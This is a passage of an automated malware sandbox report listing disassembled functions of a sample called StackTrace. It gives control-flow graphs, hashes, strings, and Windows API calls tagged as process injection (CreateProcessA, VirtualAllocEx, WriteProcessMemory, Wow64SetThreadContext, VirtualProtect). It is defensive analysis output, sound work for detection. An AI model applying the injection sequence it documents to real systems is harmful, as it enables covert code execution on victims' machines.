186->154 187->186 189->143 191->192 194 a11ef0-a11ef5 191->194 195 a11ee2-a11ee7 191->195 196 a11ec2-a11ec4 191->196 197 a11ed4-a11ed9 191->197 198 a11ef7-a11efc 191->198 199 a11ec6-a11ecb 191->199 200 a11ee9-a11eee 191->200 201 a11edb-a11ee0 191->201 202 a11ecd-a11ed2 191->202 204 a11f01-a11f02 192->204 194->204 195->204 196->204 197->204 198->204 199->204 200->204 201->204 202->204 220 a11be9-a11bfc 210->220 221 a11bfe-a11c11 210->221 211->210 224 a11c33 220->224 227 a11c13-a11c18 221->227 228 a11c1a 221->228 232 a11c33 call a11f41 224->232 233 a11c33 call a11f50 224->233 226 a11c39 226->181 229 a11c1c-a11c1e 227->229 228->229 229->189 230 a11c20-a11c31 229->230 230->224 232->226 233->226 234->161 235->161
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: @$TJcq$TJcq$Te^q
                                                                            • API String ID: 0-2400496369
                                                                            • Opcode ID: 445a11c9ac7af194bd95ba211812383676e4dd1675f6e3178170e8d6b171c541
                                                                            • Instruction ID: 9b12c6fa57c45f6677fc986b72beadb8e4f958705e05d9bfb735fd81b0803cbd
                                                                            • Opcode Fuzzy Hash: 445a11c9ac7af194bd95ba211812383676e4dd1675f6e3178170e8d6b171c541
                                                                            • Instruction Fuzzy Hash: C6E16C34B08144DFD714DFA8D498BADBBB2EF49315F2540AAE606DB3A1CA35EC85CB41
                                                                            Function 00A14140 Relevance: 5.2, Strings: 4, Instructions: 203COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 236 a14140-a14196 239 a14212-a1421a 236->239 240 a1419d-a141a0 239->240 241 a141c0-a141c5 240->241 242 a141a7-a141b0 241->242 243 a141b2 242->243 244 a141b9-a141be 242->244 243->239 243->240 243->241 243->244 245 a141a2-a141a5 243->245 246 a141c7-a141cf 243->246 247 a1422e-a14271 243->247 248 a141f2-a141fa 243->248 249 a14276-a14295 243->249 250 a14198-a1419b 243->250 251 a1429a-a1429f 243->251 252 a141dc-a141e2 243->252 253 a141fc-a14202 243->253 254 a1421c-a1421e 243->254 244->242 245->244 255 a141d1 246->255 256 a141d8-a141da 246->256 247->250 248->245 249->250 250->248 263 a142a3-a142a5 251->263 257 a141e4 252->257 258 a141eb-a141f0 252->258 259 a14204 253->259 260 a1420b-a14210 253->260 261 a142a1 254->261 262 a14224-a14229 254->262 255->239 255->240 255->247 255->248 255->249 255->250 255->251 255->252 255->253 255->254 255->256 256->242 257->239 257->247 257->249 257->250 257->251 257->253 257->254 257->258 258->245 259->247 259->249 259->251 259->254 259->260 260->240 261->263 262->250 266 a142c1-a14318 263->266 267 a142a7-a142bf 263->267 281 a14330-a14357 call a156d7 266->281 282 a1431a-a14320 266->282 267->266 287 a1435d-a143a7 281->287 283 a14322 282->283 284 a14324-a14326 282->284 283->281 284->281 292 a143a9-a143af 287->292 293 a143bf-a143c6 287->293 294 a143b1 292->294 295 a143b3-a143b5 292->295 294->293 295->293
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: d%dq$d%dq$$^q$$^q
                                                                            • API String ID: 0-141320698
                                                                            • Opcode ID: 606c66c02cacdc702f0d5915f034c639863f0a18e215b13d29b9d14f302e8e2d
                                                                            • Instruction ID: a076feb5e885772ebd81ac0dac702781afb0c61bd5b2aef647cd2459215406f9
                                                                            • Opcode Fuzzy Hash: 606c66c02cacdc702f0d5915f034c639863f0a18e215b13d29b9d14f302e8e2d
                                                                            • Instruction Fuzzy Hash: 8661F4307443089FD7089B7D8C54BAA7AF7AB99300F254A6AD416DF3E4DA71DDC28392
                                                                            Function 00A14546 Relevance: 5.0, Strings: 4, Instructions: 7COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 297 a14546-a145e3
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: TJcq$jjjjjj$$^q$$^q
                                                                            • API String ID: 0-672324049
                                                                            • Opcode ID: 165018177de4c782d9c6fd9b81965163b04fa62f5a3aac74d436248b1a41ed79
                                                                            • Instruction ID: 3a0ca28473f4f43fab3e9d750868fbbc2f594cbfaa773c68d03b21b4590a6c3f
                                                                            • Opcode Fuzzy Hash: 165018177de4c782d9c6fd9b81965163b04fa62f5a3aac74d436248b1a41ed79
                                                                            • Instruction Fuzzy Hash: 7EB0922180E3C0DF87024E9884C00A0BF34AA62280368C4E6C5860F04BC0148986E331
                                                                            Function 00A109E0 Relevance: 2.6, Strings: 2, Instructions: 142COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 666 a109e0-a109ff 693 a10a01 call a109e0 666->693 694 a10a01 call a10a90 666->694 695 a10a01 call a10a64 666->695 696 a10a01 call a109d7 666->696 668 a10a07-a10a29 671 a10a77-a10a7c 668->671 672 a10a2b-a10a34 668->672 673 a10a36-a10a5c 672->673 674 a10a7d-a10a95 672->674 679 a10a62-a10a75 673->679 677 a10b13-a10b58 call a10b97 674->677 678 a10a97-a10af2 674->678 687 a10b5e-a10b7b 677->687 697 a10af5 call a109e0 678->697 698 a10af5 call a10a64 678->698 699 a10af5 call a109d7 678->699 700 a10af5 call a10b0f 678->700 679->671 679->672 692 a10b7c 687->692 688 a10afb-a10b0e 692->692 693->668 694->668 695->668 696->668 697->688 698->688 699->688 700->688
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: ,z|$hB{
                                                                            • API String ID: 0-1877379133
                                                                            • Opcode ID: 901579477702922c565d99b1f14edad813e2db84efe2d64e70c7dea4df1fc862
                                                                            • Instruction ID: d222d6f22cb606a0d82d435048077161c4702c476c68fba2c7bd9e1e519b1b46
                                                                            • Opcode Fuzzy Hash: 901579477702922c565d99b1f14edad813e2db84efe2d64e70c7dea4df1fc862
                                                                            • Instruction Fuzzy Hash: CE51D431E042499FCB04DBB8C8149EEBFB6EF89310F1585AAD401F72A1DB74A985CB91
                                                                            Function 04508394 Relevance: 2.5, Strings: 2, Instructions: 38COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 702 4508394-4508404 709 4508407 call 44cb918 702->709 710 4508407 call 44cb912 702->710 706 4508409-4508416 707 4508511-4508529 706->707 708 450841c-4508423 706->708 708->707 709->706 710->706
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: +$<
                                                                            • API String ID: 0-366931250
                                                                            • Opcode ID: 872a0c4a47d20eaa141ae18302eb6b60f4fb87a6e7b0403626347adedb1a8386
                                                                            • Instruction ID: 165713e0dabee2ce130248c1089169255af675652f6c13446383854b9be14617
                                                                            • Opcode Fuzzy Hash: 872a0c4a47d20eaa141ae18302eb6b60f4fb87a6e7b0403626347adedb1a8386
                                                                            • Instruction Fuzzy Hash: B511A274A01228CFDB60DF64C894BEDBBB5BB49304F1080DAD909A7284E735AE86CF50
                                                                            Function 044CB0ED Relevance: 1.7, APIs: 1, Instructions: 208processCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 711 44cb0ed-44cb168 714 44cb16a-44cb174 711->714 715 44cb1a1-44cb1c1 711->715 714->715 716 44cb176-44cb178 714->716 722 44cb1fa-44cb234 715->722 723 44cb1c3-44cb1cd 715->723 717 44cb17a-44cb184 716->717 718 44cb19b-44cb19e 716->718 720 44cb188-44cb197 717->720 721 44cb186 717->721 718->715 720->720 724 44cb199 720->724 721->720 729 44cb26d-44cb2e2 CreateProcessA 722->729 730 44cb236-44cb240 722->730 723->722 725 44cb1cf-44cb1d1 723->725 724->718 727 44cb1f4-44cb1f7 725->727 728 44cb1d3-44cb1dd 725->728 727->722 731 44cb1df 728->731 732 44cb1e1-44cb1f0 728->732 742 44cb2eb-44cb333 729->742 743 44cb2e4-44cb2ea 729->743 730->729 733 44cb242-44cb244 730->733 731->732 732->732 734 44cb1f2 732->734 735 44cb246-44cb250 733->735 736 44cb267-44cb26a 733->736 734->727 738 44cb254-44cb263 735->738 739 44cb252 735->739 736->729 738->738 740 44cb265 738->740 739->738 740->736 748 44cb335-44cb339 742->748 749 44cb343-44cb347 742->749 743->742 748->749 750 44cb33b 748->750 751 44cb349-44cb34d 749->751 752 44cb357-44cb35b 749->752 750->749 751->752 755 44cb34f 751->755 753 44cb35d-44cb361 752->753 754 44cb36b 752->754 753->754 756 44cb363 753->756 757 44cb36c 754->757 755->752 756->754 757->757
                                                                            APIs
                                                                            • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 044CB2D2
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939372003.00000000044C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_44c0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID: CreateProcess
                                                                            • String ID:
                                                                            • API String ID: 963392458-0
                                                                            • Opcode ID: 1e79be5d12a7d80d0ed7c37a7d2a24dd0ef0f8955310f4fed87ba36dbe1d5211
                                                                            • Instruction ID: 218b39eab4b94479a2b35f3fa5d03082abf68885602cfda55b4e75c2e3065221
                                                                            • Opcode Fuzzy Hash: 1e79be5d12a7d80d0ed7c37a7d2a24dd0ef0f8955310f4fed87ba36dbe1d5211
                                                                            • Instruction Fuzzy Hash: CF814574D002999FDF50CFA9D8867DEBBF1FF48314F18812AE859A7254DB34A885CB81
                                                                            Function 044CB0F8 Relevance: 1.7, APIs: 1, Instructions: 201processCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 758 44cb0f8-44cb168 760 44cb16a-44cb174 758->760 761 44cb1a1-44cb1c1 758->761 760->761 762 44cb176-44cb178 760->762 768 44cb1fa-44cb234 761->768 769 44cb1c3-44cb1cd 761->769 763 44cb17a-44cb184 762->763 764 44cb19b-44cb19e 762->764 766 44cb188-44cb197 763->766 767 44cb186 763->767 764->761 766->766 770 44cb199 766->770 767->766 775 44cb26d-44cb2e2 CreateProcessA 768->775 776 44cb236-44cb240 768->776 769->768 771 44cb1cf-44cb1d1 769->771 770->764 773 44cb1f4-44cb1f7 771->773 774 44cb1d3-44cb1dd 771->774 773->768 777 44cb1df 774->777 778 44cb1e1-44cb1f0 774->778 788 44cb2eb-44cb333 775->788 789 44cb2e4-44cb2ea 775->789 776->775 779 44cb242-44cb244 776->779 777->778 778->778 780 44cb1f2 778->780 781 44cb246-44cb250 779->781 782 44cb267-44cb26a 779->782 780->773 784 44cb254-44cb263 781->784 785 44cb252 781->785 782->775 784->784 786 44cb265 784->786 785->784 786->782 794 44cb335-44cb339 788->794 795 44cb343-44cb347 788->795 789->788 794->795 796 44cb33b 794->796 797 44cb349-44cb34d 795->797 798 44cb357-44cb35b 795->798 796->795 797->798 801 44cb34f 797->801 799 44cb35d-44cb361 798->799 800 44cb36b 798->800 799->800 802 44cb363 799->802 803 44cb36c 800->803 801->798 802->800 803->803
                                                                            APIs
                                                                            • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 044CB2D2
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939372003.00000000044C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_44c0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID: CreateProcess
                                                                            • String ID:
                                                                            • API String ID: 963392458-0
                                                                            • Opcode ID: 2dcc8767d13f859f49b8313af85bd47182d178afa65f0e7be6f933b24dd976fd
                                                                            • Instruction ID: f2b01ab94ab086845f150873d395a3506714dd22c4512a648b64a142e5f85d1a
                                                                            • Opcode Fuzzy Hash: 2dcc8767d13f859f49b8313af85bd47182d178afa65f0e7be6f933b24dd976fd
                                                                            • Instruction Fuzzy Hash: 8B814675D002899FDF50CFA9D88679EBBF1FF48314F18812AE855A7354DB34A881CB81
                                                                            Function 044CB912 Relevance: 1.6, APIs: 1, Instructions: 73injectionCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 804 44cb912-44cb966 807 44cb968-44cb974 804->807 808 44cb976-44cb9b5 WriteProcessMemory 804->808 807->808 810 44cb9be-44cb9ee 808->810 811 44cb9b7-44cb9bd 808->811 811->810
                                                                            APIs
                                                                            • WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 044CB9A8
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939372003.00000000044C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_44c0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID: MemoryProcessWrite
                                                                            • String ID:
                                                                            • API String ID: 3559483778-0
                                                                            • Opcode ID: 52e59590615cb10698728dbbe148f019fac4286e137806f1c8c5d2a723619227
                                                                            • Instruction ID: 638d04c80f6c066b9d641e6436c821210b8a8a866281368e6d0542f6fd947a10
                                                                            • Opcode Fuzzy Hash: 52e59590615cb10698728dbbe148f019fac4286e137806f1c8c5d2a723619227
                                                                            • Instruction Fuzzy Hash: B02148B5900349DFCB10CFAAC885BDEBBF5FF48310F14842AE959A7251C778A944CBA5
                                                                            Function 044CB918 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 815 44cb918-44cb966 817 44cb968-44cb974 815->817 818 44cb976-44cb9b5 WriteProcessMemory 815->818 817->818 820 44cb9be-44cb9ee 818->820 821 44cb9b7-44cb9bd 818->821 821->820
                                                                            APIs
                                                                            • WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 044CB9A8
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939372003.00000000044C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_44c0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID: MemoryProcessWrite
                                                                            • String ID:
                                                                            • API String ID: 3559483778-0
                                                                            • Opcode ID: 03ba1f3307bfbaad101094a08ab89864f532de0e0fef1d08038a40ffe72de0b4
                                                                            • Instruction ID: 7d12262a1a32cf5d77ebd00ce0b97777c6b75e24dd6a795205e2ec6dd5abad89
                                                                            • Opcode Fuzzy Hash: 03ba1f3307bfbaad101094a08ab89864f532de0e0fef1d08038a40ffe72de0b4
                                                                            • Instruction Fuzzy Hash: A82146B59003499FCB10CFA9C885BDEBBF5FF88310F10842AE959A7251C778A944CBA4
                                                                            Function 044CB3F0 Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 834 44cb3f0-44cb443 838 44cb445-44cb451 834->838 839 44cb453-44cb483 Wow64SetThreadContext 834->839 838->839 841 44cb48c-44cb4bc 839->841 842 44cb485-44cb48b 839->842 842->841
                                                                            APIs
                                                                            • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 044CB476
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939372003.00000000044C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_44c0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID: ContextThreadWow64
                                                                            • String ID:
                                                                            • API String ID: 983334009-0
                                                                            • Opcode ID: 9875e09d0dba3d82293d53bb3b8515addd8d45f42f33eeddfbab68bf137a93b9
                                                                            • Instruction ID: a83ead9e43b4ac2e4f53defaf36d9b4df0847a2457a4493358f2a9c699d23860
                                                                            • Opcode Fuzzy Hash: 9875e09d0dba3d82293d53bb3b8515addd8d45f42f33eeddfbab68bf137a93b9
                                                                            • Instruction Fuzzy Hash: 3D2159B19002099FDB10DFAAC4457EFBBF4EB88320F14C42AD559A7281CB78A584CFA5
                                                                            Function 044CBD00 Relevance: 1.6, APIs: 1, Instructions: 64memoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • VirtualProtect.KERNEL32(?,?,?,?), ref: 044CBD7C
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939372003.00000000044C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_44c0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID: ProtectVirtual
                                                                            • String ID:
                                                                            • API String ID: 544645111-0
                                                                            • Opcode ID: 44cd052101128bde3a34c4a0f3a97e3fd8585b1800bb5289982bc98aa14aec88
                                                                            • Instruction ID: 13f081f8a200a574feb9b7c00cccfc67629810b0c5e1511cefc0c972c971748f
                                                                            • Opcode Fuzzy Hash: 44cd052101128bde3a34c4a0f3a97e3fd8585b1800bb5289982bc98aa14aec88
                                                                            • Instruction Fuzzy Hash: D52137B18002499FDB10DFAAC845BEEBBF5EF88320F54842AD459A7250CB78A545CFA1
                                                                            Function 044CB3F8 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 044CB476
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939372003.00000000044C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_44c0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID: ContextThreadWow64
                                                                            • String ID:
                                                                            • API String ID: 983334009-0
                                                                            • Opcode ID: c9d0b8cb36831454e661dd339460708faef639100168c0f68855d5e40b25aa85
                                                                            • Instruction ID: 087126b78a006fc1b84ea707cc915159fda1be8a9f87657fb7a0d8b639ad72c0
                                                                            • Opcode Fuzzy Hash: c9d0b8cb36831454e661dd339460708faef639100168c0f68855d5e40b25aa85
                                                                            • Instruction Fuzzy Hash: 2D2137B19002098FDB10DFAAC4857EEBBF4EB88324F14C42AD559A7241C778A984CFA5
                                                                            Function 044CBD08 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • VirtualProtect.KERNEL32(?,?,?,?), ref: 044CBD7C
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939372003.00000000044C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_44c0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID: ProtectVirtual
                                                                            • String ID:
                                                                            • API String ID: 544645111-0
                                                                            • Opcode ID: 5bde31eabd1ce275594bf8504da4a273c46dc241fd37ffa4d7b7cd131098dbd4
                                                                            • Instruction ID: 0ba27bb20e887fdb94c21580bae1c060d9004cdfd55c8f9fad0200051cf58f9c
                                                                            • Opcode Fuzzy Hash: 5bde31eabd1ce275594bf8504da4a273c46dc241fd37ffa4d7b7cd131098dbd4
                                                                            • Instruction Fuzzy Hash: 162115B18002499FDB10DFAAC445BEEFBF5EF88320F54842AD459A7250CB78A944CFA5
                                                                            Function 044CB811 Relevance: 1.6, APIs: 1, Instructions: 58memoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 044CB886
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939372003.00000000044C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_44c0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID: AllocVirtual
                                                                            • String ID:
                                                                            • API String ID: 4275171209-0
                                                                            • Opcode ID: 4b86c216f60f7449caa727a307919296c326d6a1e211a8478f8ef3ea371214f7
                                                                            • Instruction ID: bf094834f08490ba7c049944da48ac031d62184ed6af82d9f63615499b3cda5a
                                                                            • Opcode Fuzzy Hash: 4b86c216f60f7449caa727a307919296c326d6a1e211a8478f8ef3ea371214f7
                                                                            • Instruction Fuzzy Hash: 0E1147758002489BCB10DFAAD845ADFBFF5EF88320F24841AE559A7250CB39A554CFA1
                                                                            Function 044CB818 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 044CB886
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939372003.00000000044C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_44c0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID: AllocVirtual
                                                                            • String ID:
                                                                            • API String ID: 4275171209-0
                                                                            • Opcode ID: d34b5081cac48c9717af28512facd5b9d87029cc8c076d562606a7727d9ef8f8
                                                                            • Instruction ID: f0fd9a0cfaeca6a2110c9a2dffcda5c7a2f13a85eacc3c16b259fda48cb49ab0
                                                                            • Opcode Fuzzy Hash: d34b5081cac48c9717af28512facd5b9d87029cc8c076d562606a7727d9ef8f8
                                                                            • Instruction Fuzzy Hash: 241156718002489FCB10DFAAC845ADFBFF5EB88320F14841AE559A7250C735A940CFA0
                                                                            Function 04500B78 Relevance: 1.5, Strings: 1, Instructions: 228COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: @
                                                                            • API String ID: 0-2766056989
                                                                            • Opcode ID: cda5df9a1906238b87e2e3c34cc0887ac3c9bef6911fc95a89bdbc9a17f0829c
                                                                            • Instruction ID: bbe9c7fa564c0a52dd63c3a820ff851c5b40a04a46386a32a64bc9dbf1aeabe6
                                                                            • Opcode Fuzzy Hash: cda5df9a1906238b87e2e3c34cc0887ac3c9bef6911fc95a89bdbc9a17f0829c
                                                                            • Instruction Fuzzy Hash: 01A1D378E05218CFDB54DFA8E884BADBBF2FB49700F1080AAD409A7395DB746985DF41
                                                                            Function 04500B6A Relevance: 1.5, Strings: 1, Instructions: 225COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: @
                                                                            • API String ID: 0-2766056989
                                                                            • Opcode ID: 65637c98a69a363414eff85f46b39e34cc47d7aa78c682790fdba4a262927b03
                                                                            • Instruction ID: 1bf120f508dd66cbee2a45c9e565aa75c0ca1697c6c3385969d98ab78ad1e031
                                                                            • Opcode Fuzzy Hash: 65637c98a69a363414eff85f46b39e34cc47d7aa78c682790fdba4a262927b03
                                                                            • Instruction Fuzzy Hash: D4A1F478E05218CFDB54DFA8E884BADBBF2FB49300F1081AAD409A7395DB746985DF40
                                                                            Function 00A164A5 Relevance: 1.5, Strings: 1, Instructions: 218COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: sq
                                                                            • API String ID: 0-1320738648
                                                                            • Opcode ID: cfdbb84a69405ae619ef345868090272f1d08b06dbd09866db0dd4691c0958e5
                                                                            • Instruction ID: 14170053cce483f0462f90b5774905ebac75abec3175ec8d45bd2d0d4b0708e0
                                                                            • Opcode Fuzzy Hash: cfdbb84a69405ae619ef345868090272f1d08b06dbd09866db0dd4691c0958e5
                                                                            • Instruction Fuzzy Hash: E9418B71D012489FCB14DFA9C490ADEBFF1AF88304F24846AE849AB250DB349D85CFA0
                                                                            Function 00A11F50 Relevance: 1.4, Strings: 1, Instructions: 124COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: D@|
                                                                            • API String ID: 0-555257372
                                                                            • Opcode ID: 3adfc216cd5220e7a48ca64bf80a77c57c7d52959b6164f29f2a8a8f32e5c821
                                                                            • Instruction ID: f3ba0d8275fb46ee830f382cb1c504eea7bc4c9c5ebf715af3aceb76a09fa9ee
                                                                            • Opcode Fuzzy Hash: 3adfc216cd5220e7a48ca64bf80a77c57c7d52959b6164f29f2a8a8f32e5c821
                                                                            • Instruction Fuzzy Hash: 6241C234B042058FDB58EB759414BEE37F6ABC9740B248A6AD2059B288EB31DD83C791
                                                                            Function 00A10B97 Relevance: 1.3, Strings: 1, Instructions: 80COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: H}|
                                                                            • API String ID: 0-1122648006
                                                                            • Opcode ID: f69257003b429e16dc1c51b7f9ef97e40b02f72c31b395358e946ae0e5f357c1
                                                                            • Instruction ID: 4778af89615210f3cd82a8cea51e8d1441d03882869f90f92b463a34618362b1
                                                                            • Opcode Fuzzy Hash: f69257003b429e16dc1c51b7f9ef97e40b02f72c31b395358e946ae0e5f357c1
                                                                            • Instruction Fuzzy Hash: 5C21D570A042019FCB24CF39C8449DEBBF5EF88350B244AADE486D7261DB30AC84CF50
                                                                            Function 00A11CC8 Relevance: 1.3, Strings: 1, Instructions: 79COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: Te^q
                                                                            • API String ID: 0-671973202
                                                                            • Opcode ID: 02cc075bb429d005a857f689641d63e514f4bf1d65190ff1a1b29304cec55612
                                                                            • Instruction ID: d454bd20ad646c9c6c31e764598d7b8ff052dec9a1541ff1271a0eb92f338e91
                                                                            • Opcode Fuzzy Hash: 02cc075bb429d005a857f689641d63e514f4bf1d65190ff1a1b29304cec55612
                                                                            • Instruction Fuzzy Hash: 2B312634B40115DFCB18DFA8D958BADBBB1BF88709F104469EA02DB3A5CB749C41CB90
                                                                            Function 00A109D7 Relevance: 1.3, Strings: 1, Instructions: 57COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
